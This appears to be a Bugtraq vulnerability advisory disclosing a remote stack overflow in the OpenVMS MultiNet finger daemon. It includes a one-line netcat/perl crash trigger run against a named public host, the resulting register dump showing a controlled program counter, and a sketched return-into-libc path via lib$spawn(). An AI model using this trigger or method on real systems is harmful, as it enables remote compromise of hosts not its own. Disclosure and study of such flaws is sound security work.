SecurityReason - OpenVMS fingerd remote stack overflow

Advisory Text :

sup bugtraq.

Since a group of lads are giving a talk on Hacking OpenVMS at defcon I
figured I'd release a vulnerability in the OpenVMS finger service (part of
the MultiNet package) to give people a few days to figure out an exploit
before the methods are documented for us by the guys giving the talk.
(assume they will be)

The MultiNet finger service runs on port 79 by default (like other finger
servers) and takes a username to query. A long string (~250+ or so bytes)
will cause
a stack overflow, giving control of a saved return address and hence the
program counter (PC). Demonstrated below on a public OpenVMS system..
(hopefully the owners won't mind since they seem to encourage OpenVMS hack
attempts on their systems)

-----------
shauny@localhost # echo `perl -e 'print "a"x1000'` | nc -v
dahmer.vistech.net 79

?Sorry,
could not find
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
%SYSTEM-F-ACCVIO,
access violation, reason mask=00, virtual address=4141414141414140,
PC=4141414141414140, PS=0000001B%SYSTEM-F-ACCVIO, access violation,
reason mask=00, virtual address=4141414141414140, PC=4141414141414140,
PS=0000001B Improperly handled condition, image exit forced.
Improperly handled condition, image exit forced. Signal arguments:
Number = 0000000000000005

[SNIP]

000000000000001B 000000000000001B
Register dump: Register dump: R0 = 000000000000011A R1 =
00000000011A0001 R2 = 4141414141414141 R0 = 000000000000011A R1
= 00000000011A0001 R2 = 4141414141414141 R3 = 4141414141414141
R4 = 4141414141414141 R5 = 4141414141414141 R3 =
4141414141414141 R4 = 4141414141414141 R5 = 4141414141414141 R6
= 0000000000000002 R7 = 0000000000000001 R8 = 0000000000000000
R6 = 0000000000000002 R7 =

[SNIP]

etc..
-----------

For running arbitrary code...The main architectures running OpenVMS (Alpha,
VAX) have Page Table Entries set such that the Fault-on-execute bit is set
for
the user stack...i.e. equivalent to a non-executable stack on other modern
operating systems.

However this doesn't stop a "return-into-libc" type attack...library
functions can be returned into. One possible candidate is returning into
the lib$spawn() library function.

Take it easy.

---
Shaun Colley
NGSSoftware

Take everything with a handful of salt
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